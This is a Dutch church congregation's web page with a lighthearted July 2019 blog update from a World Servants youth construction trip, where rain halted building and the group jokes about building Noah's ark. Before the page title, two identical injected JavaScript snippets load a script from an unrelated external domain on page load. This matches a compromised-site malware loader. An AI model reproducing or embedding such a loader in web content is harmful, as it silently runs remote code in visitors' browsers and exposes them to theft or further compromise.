;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); World Servants, BO119 | In de voetsporen van Noach... - PKN Damwâld

World Servants, BO119 | In de voetsporen van Noach…

Gepubliceerd op: vrijdag 26 juli 2019

Aan creativiteit geen gebrek nu er afgelopen dagen niet gebouwd kon worden door het slechte weer. Hoe is het nu? Zou de regen inmiddels gestopt zijn?

En weer een nieuwe dag op ons eenzame eiland in het luxe resort! Vannacht is die iets minder luxe geworden, omdat we een zwembad verloren zijn… De regen is namelijk weg! Dus we kunnen weer bouwen! Eehh nee, het is weliswaar droog maar het lieve beekje is nog steeds een woeste rivier ? we kunnen nog geen kant op en wachten met smart op helicopters van de ouders. Helaas zijn er in de groetjes nog geen helicopters beschikbaar gesteld dus we zijn vanochtend maar begonnen aan plan B. Maaike had het idee om een bootje te bouwen! Rianna zag dat direct als een grote uitdaging en ging met Jacob, Djurre en Hidde aan de slag! Maar ja, Lori vond dat wel wat zielig voor de dieren, die zouden dan dood gaan als ze niet mee gingen in de boot. Evita vond dat de dieren ook mee moesten, maar Eelke berekende dat dat nooit ging passen… Gelukkig kwam Jantine met de oplossing “we nemen van elk soort een mannetje en een vrouwtje mee, die kunnen zich dan later weer voortplanten”. Dat leek Anne Mea een goed plan, maar dan moest het wel een hele grote boot worden. Else herinnerde dat ze in een dik boek de maten van een grote boot had gelezen, ergens in Genesis, ze ging direct zoeken! Lieke vond dat de boot een naam moest hebben en onze creatieve Thirza had een idee “we noemen de boot, ‘de Ark’”, iedereen stond te juichen, want dat was een prachtig plan! Rianna overlegde met Else over de maten en denk dat dat makkelijk moet passen. ze denkt over 100 jaar klaar te zijn. Dus ouders, nog even geduld, we komen vanzelf weer thuis en denk maar zoals Henry “alles is cultuur!”.

Omdat het aantal dieren toch wat tegenviel is Max maar op zoek gegaan naar de dierenmaskers in zijn tas. Ze waren eigenlijk voor kinderwerk bedoeld, maar ja, dat gaat toch niet door… We zijn met de groep maar aan het knutselen gegaan, iedereen was weer even kind en uiteindelijk hadden we allemaal prachtige dierenmaskers! Zo hebben we toch met z’n allen nog kinderwerk gedaan! De kabouters zijn uit hun paddestoel gekomen tijdens de kabouter plop dans en vliegers kwamen uit de lucht tijdens het vliegerlied! Wat hadden we met z’n allen een lol!

In de middag kwam onze ark dicht bij de wal, Emma wou een duif laten uitvliegen om land te zoeken, maar wat bleek? Jantine was de duif kwijt… gelukkig hadden we een drone die ook kon vliegen en die is gaan zoeken naar de wal. We waren verrast, we zagen een fundering met 10 rijen stenen van een onafgebouwde kliniek! Heel jammer dat we niet verder kunnen, maar gelukkig hebben we de foto’s nog ?.

Dus ook vandaag geen bouwdag en de verwachting is dat we ook morgen nog niet over de rivier kunnen. Maar daarvoor moeten we morgen maar weer even in het weer kijken. Wij vermaken ons prima, we zingen, we vechten, we huilen, we bidden, we lachen, we werken en we bewonderen. Nou ja, werken is wat lastig en voor vechten zijn we gelukkig te lief. Morgen een nieuwe dag, met nieuwe kansen, verhalen en liederen. Oant Moarn! (en tot morgen)